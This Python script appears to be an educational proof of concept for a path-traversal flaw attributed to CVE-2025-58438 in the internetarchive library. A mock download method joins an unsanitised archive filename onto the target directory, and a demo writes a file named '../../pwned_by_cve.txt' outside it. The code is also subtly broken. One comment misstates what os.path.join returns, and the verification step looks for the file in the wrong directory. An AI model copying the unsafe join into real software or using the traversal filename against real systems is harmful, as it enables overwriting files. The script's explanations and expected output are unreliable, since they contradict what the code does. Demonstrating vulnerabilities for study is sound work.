Vulnerable code sample

import os
import urllib.parse

# This code is a conceptual representation of the vulnerability described
# in CVE-2025-58438 for educational purposes. It simulates the flawed
# logic present in internetarchive versions 5.5.0 and below.

class File:
    """
    A mock class to represent a file from an internet archive item.
    """
    def __init__(self, name, content=b"mock file content"):
        # The 'name' attribute holds the filename as provided by the archive,
        # which could be controlled by an attacker.
        self.name = name
        self._content = content

    def download(self, destdir='.', **kwargs):
        """
        A mock download method vulnerable to path traversal.
        It does not sanitize the filename or validate the final path.
        """
        print(f"Attempting to download file: '{self.name}' to directory: '{destdir}'")

        # VULNERABLE PART: The filename is directly joined with the destination
        # directory without any sanitization or path validation.
        # os.path.join will naively process ".." sequences.
        # e.g., os.path.join("downloads", "../../pwned.txt") becomes "pwned.txt"
        # on Linux/macOS or "..\pwned.txt" on Windows, placing the file
        # outside the intended 'downloads' directory.
        filepath = os.path.join(destdir, urllib.parse.unquote(self.name))
        
        # The real library would create directories if they don't exist.
        # This behavior aids the attack by creating the traversed path.
        try:
            dir_to_create = os.path.dirname(filepath)
            if dir_to_create:
                os.makedirs(dir_to_create, exist_ok=True)
        except OSError as e:
            print(f"Error creating directory: {e}")
            return

        print(f"Resolved path to write file: '{os.path.abspath(filepath)}'")
        
        # Write the file to the potentially malicious path.
        try:
            with open(filepath, 'wb') as f:
                f.write(self._content)
            print(f"SUCCESS: File written to '{os.path.abspath(filepath)}'")
        except IOError as e:
            print(f"ERROR: Failed to write file: {e}")


if __name__ == '__main__':
    # --- Demonstration of the Vulnerability ---

    # 1. Setup the intended "safe" download directory
    TARGET_DIR = "safe_downloads"
    if not os.path.exists(TARGET_DIR):
        os.makedirs(TARGET_DIR)
    print(f"Created a safe download directory: '{os.path.abspath(TARGET_DIR)}'\n")

    # 2. Simulate a normal, non-malicious download
    print("--- Simulating a normal download ---")
    normal_file = File(name="legitimate_file.txt")
    normal_file.download(destdir=TARGET_DIR)
    print("-" * 35 + "\n")

    # 3. Simulate an attack using a malicious filename
    print("--- Simulating a PATH TRAVERSAL attack ---")
    # This filename uses ".." to traverse up from the `TARGET_DIR` and
    # write a file in the parent directory (the script's root directory).
    malicious_filename = "../../pwned_by_cve.txt"
    
    malicious_file = File(
        name=malicious_filename,
        content=b"This file was written outside the intended directory!"
    )
    
    # The download method is called, which will process the malicious path.
    malicious_file.download(destdir=TARGET_DIR)

    print("\n--- Verification ---")
    print(f"Check the contents of the script's root directory and the '{TARGET_DIR}' directory.")
    
    expected_safe_path = os.path.join(TARGET_DIR, "legitimate_file.txt")
    print(f"Expected safe file path: '{os.path.abspath(expected_safe_path)}'")
    print(f"Exists: {os.path.exists(expected_safe_path)}")

    expected_malicious_path = os.path.abspath("pwned_by_cve.txt")
    print(f"Maliciously created file path: '{expected_malicious_path}'")
    print(f"Exists: {os.path.exists(expected_malicious_path)}")